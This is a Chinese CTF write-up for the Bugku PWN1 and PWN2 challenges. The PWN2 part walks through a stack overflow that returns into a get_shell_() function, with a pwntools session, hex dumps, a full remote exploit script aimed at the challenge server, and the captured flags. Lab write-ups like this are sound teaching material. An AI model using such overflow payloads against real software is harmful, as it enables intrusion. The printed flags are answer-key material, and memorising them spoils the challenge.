CTF – BUGKU – PWN1-2

题目说明

题目来源: ctf.bugku.com

PWN1

这题几乎与PWN无关 nc上去就能看到flag

flag:

1
flag{6979d853add353c9}

PWN2

这题是栈溢出ROP执行已有指令

下载pwn2文件 file查看是ELF文件 在linux下运行 只是简单的交互

检查没看到有什么保护

扔到IDA64中查看main()主函数的伪代码

就是简单的两个输出一个输入 没有flag操作查看其它函数

在函数列表看到get_shell_()函数 查看伪代码

有cat flag操作但是没有执行

所以需要执行该函数得到flag

在主函数中将read()接受的值赋值给v3 v3的长度为48
可以通过read()进行栈溢出ROP执行get_shell_()函数

payload构成:48个A(覆盖v3的长度) + 8个A(覆盖EBP) + get_shell_()函数的内存地址

IDA中获取get_shell_()函数的内存地址为 0x400751

使用Python PWN模块做本地验证

初始化PWN

1
>>> from pwn import *

设置加载程序的操作系统、架构、反馈模式

1
>>> context(os='linux',arch='amd64',log_level='debug')

加载PWN2

1
2
3
>>> p = process('./pwn2')
[X] Starting local process './pwn2'
[+] Starting local process './pwn2': pid 2838

换算get_shell_()函数的内存地址

1
2
3
>>> get_shell_ = p64(0x400751)
>>> get_shell_
'Q\x07@\x00\x00\x00\x00\x00'

构造完整Payload

1
2
3
>>> payload = 'A'*(48+8)+get_shell_
>>> payload
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ\x07@\x00\x00\x00\x00\x00'

发送Payload

1
2
3
4
5
6
7
>>> p.sendline(payload)
[DEBUG] Sent 0x41 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000030 41 41 41 41 41 41 41 41 51 07 40 00 00 00 00 00 │AAAA│AAAA│Q·@·│····│
00000040 0a │·│
00000041

查看回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>>> p.interactive()
[*] Switching to interactive mode
[*] Process './pwn2' stopped with exit code -11 (SIGSEGV) (pid 2838)
[DEBUG] Received 0x7a bytes:
00000000 73 61 79 20 73 6f 6d 65 74 68 69 6e 67 3f 0a 6f │say │some│thin│g?·o│
00000010 68 2c 74 68 61 74 27 73 20 73 6f 20 62 6f 72 69 │h,th│at's│ so │bori│
00000020 6e 67 21 0a 74 71 6c 7e 74 71 6c 7e 74 71 6c 7e │ng!·│tql~│tql~│tql~│
00000030 74 71 6c 7e 74 71 6c 7e 74 71 6c 7e 74 71 6c 0a │tql~│tql~│tql~│tql·│
00000040 74 68 69 73 20 69 73 20 79 6f 75 72 20 66 6c 61 │this│ is │your│ fla│
00000050 67 21 0a 63 61 74 3a 20 66 6c 61 67 3a 20 e6 b2 │g!·c│at: │flag│: ··│
00000060 a1 e6 9c 89 e9 82 a3 e4 b8 aa e6 96 87 e4 bb b6 │····│····│····│····│
00000070 e6 88 96 e7 9b ae e5 bd 95 0a │····│····│··│
0000007a
say something?
oh,that's so boring!
tql~tql~tql~tql~tql~tql~tql
this is your flag!
cat: flag: 没有那个文件或目录
[*] Got EOF while reading in interactive

已经读取flag文件 说明payload是可用的

把本地读取换为远程读取尝试获取题目flag

exp:

1
2
3
4
5
6
7
from pwn import *
context(os='linux',arch='amd64')
p = remote('114.116.54.89','10003')
get_shell_ = p64(0x400751)
payload = 'A'*(48+8)+get_shell_
p.sendline(payload)
p.interactive()

执行得到flag

flag:

1
flag{n0w_y0u_kn0w_the_Stack0verfl0w}